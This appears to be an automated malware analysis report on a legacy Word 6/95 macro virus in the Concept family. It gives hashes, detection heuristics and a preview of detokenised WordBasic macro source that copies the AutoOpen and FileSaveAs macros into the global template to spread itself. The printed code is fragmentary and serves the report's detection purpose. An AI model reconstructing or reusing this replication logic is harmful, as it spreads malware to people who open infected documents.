Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 632fcee1b3067f05…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 461b718eae115cc3feb19e1d2cd96a14 SHA-1: 8b65123a51904eba7cbe90261073c7fef45b02cd SHA-256: 632fcee1b3067f054225dc8d2387fdaf4227f34c38468c029010ee79d205f1fe
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy macro virus markers, specifically 'RSN MACRO VIRUS', and the document body contains VBA code that attempts to save copies of the document to different paths. This indicates a self-spreading or replication behavior characteristic of older macro viruses.

Heuristics 3

  • ClamAV: Win.Trojan.Concept-15 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Concept-15
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 636 bytes
SHA-256: 0f236f91d50a404a684d8b98bca94e2bbdb4c51979d2fb0e98068756b61f2d35
Preview script
First 1,000 lines of the extracted script
, , 21349          
        357
MAIN
iMacroCount = @cmd80b7 0 , 0
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "PayLoad"
bInstalled = 1
@cmd80b8 i , 0 , 0 = "FileSaveAs"
bTooMuchTrouble = 1
i
bInstalled TooMuchTrouble
iWW6IInstance = @cmd8006 @cmd814d "WW6Infector"
sMe$ = @cmd8025
        +  
    ,   25199 20538
Macro$ = sMe$ = ":FileSaveAs"
@cmd80c2 Macro$ , "Global:FileSaveAs"
Macro$ = sMe$ = ":AutoOpen"
@cmd80c2 Macro$ , "Global:AutoOpen"
@cmd8046 "WW6I" , @cmd8007 iWWIInstance = 1
MAIN
, -
dlg @cmd0054
dlg
dlg
Dlg = 0 Dlg = 1
@cmd80c2 "FileSaveAs" , @cmd803b = ":FileSaveAs"
@cmd80c2 "AutoOpen" , @cmd803b = ":AutoOpen"
@cmd0054 dlg

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